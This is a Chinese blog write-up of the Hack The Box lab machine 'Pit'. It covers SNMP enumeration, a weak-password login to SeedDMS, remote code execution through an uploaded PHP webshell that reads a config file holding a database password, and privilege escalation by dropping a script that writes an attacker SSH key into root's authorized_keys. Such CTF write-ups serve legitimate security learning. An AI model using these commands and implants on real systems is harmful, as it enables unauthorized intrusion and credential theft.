HTB 学习笔记
【Hack The Box】linux练习-- Pit
🔥系列专栏:Hack The Box
 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
 📆首发时间:🌴2022年11月27日🌴
 🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
 - 信息收集
 - 80
 - https 9090
 - pit.htb
 - udp snmp
 

信息收集
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)                  
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin                           
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent 
 
9090/tcp open ssl/zeus-admin?
 并且应该是暴露出了html页面
 commonName=dms-pit.htb
 子域基域添加
nmap -sU --top-ports 10 -sV 10.129.228.106
 
这里有必要提一下,udp扫描放到后台进行就行
 之所以要特别说一下,是因为要用到
53/udp   filtered domain
67/udp   filtered dhcps
123/udp  filtered ntp
135/udp  filtered msrpc
137/udp  filtered netbios-ns
138/udp  filtered netbios-dgm
161/udp  open     snmp         SNMPv1 server; net-snmp SNMPv3 server (public)
445/udp  filtered microsoft-ds
631/udp  filtered ipp
1434/udp filtered ms-sql-m
 
发现了udp/snmp,显眼,特殊
80
那个
静态页面,目录爆破没东西,网站标头没东西
https 9090

pit.htb
没有东西
udp snmp
nmap枚举出来时v1版本
snmpwalk -v2c -c public 10.129.228.106 .
 
找到了一个用户
我们在这里获取 Linux 内核版本、操作系统信息、用户名、Web 目录和二进制文件位置。
先检查一下能否链接
 
而后又发现了
http://dms-pit.htb/seeddms51x/seeddms/
 
发现一个在www下的目录,我们试图在浏览器访问他
可以访问
我们刚才在snmp中唯一获得了一个用户名michelle
 所以我们尝试一下弱口令
 成功的凭据如下
 michelle/michelle
通过左上角得知了这个cms
 seeddms
 
而我们在页面的文档信息得知了版本信息
 5.1.15
 
 搜索了一下,似乎没有5.1.15版本的漏洞
 
另一个文件夹只有两个用户
Michelle
Jack
 
然后查看之前的升级日志
 提到:修复 CVE-2019-12744(通过未验证的远程命令执行 文件上传),将 .htaccess 文件添加到数据目录
 看起来会有.htaccess,我要尝试访问一下
果然存在
 http://dms-pit.htb/seeddms51x/seeddms/.htaccess
 
可惜没啥东西
到这又没思路了,看了看网上的文章,虽然5.10的rce已经修复,但是我们依旧可以从其中找到一些东西
https://www.exploit-db.com/exploits/47022

 
 
 可以看到id
 成功
而后反弹shell失败,原因未知,我也没有找,因为很快我的后门就被删除了
 我必须要在这个短暂的shell中很快的找到一些东西
在我重新上传三次文件之后我发现了这个xml文件,里面包含了密码账号
http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=cat  ../../../conf/settings.xml
 
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
 
得到了凭据如下
seeddms/ied^ieY6xoquu
但是ssh登陆不上
数据库外部也链接不了
 所以我回到9090页面,尝试登陆
seeddms登陆不上
 我将去到pt.htb
 我将尝试米歇尔和jack账户
 登陆成功
在页面的左下角有一个终端页面,我们可以正常的使用它
 
 页面有一个终端
普通的枚举没发现有啥
 因为我们的用户权限不够,很多东西都看不到
 但是刚才在snmp中可以查看完整的进程(这就是snmp的特性)
 monitor比较可疑
 
/usr/bin/monitor

 他将执行这个目录下的所有以chec开头的sh脚本
ls -l /usr/local
 我们是不可写的
 
 然而,有一个 +在权限的末尾,这意味着在目录上设置了额外的 ACL。 michelle 实际上可以从目录中编写和执行:
 我们对该目录具有读写和执行权限,还有 + 意味着有扩展权限。 我使用 getfacl 查看扩展权限。
 我们可以看到 root 是所有者,其他人拥有除“Michelle”之外的所有权限。
“michelle”只有写入和执行权限。
getfacl /usr/local/monitoring
 

 所以我们可以直接写一个脚本进去
 然后就可以了
我们写入一个我们自己的私钥
echo 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali" > /root/.ssh/authorized_keys' > check_rong.sh
cat check_rong.sh
 

 确实写入了
在snmp中这个服务的详细信息如下
iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
 
现在我们利用snmp调用这个程序
 之所以用snmp是因为我们的低权限用户没有这个进程
snmpwalk -v 1 -c public 10.129.228.106 iso.3.6.1.4.1.8072.1.3.2
 




















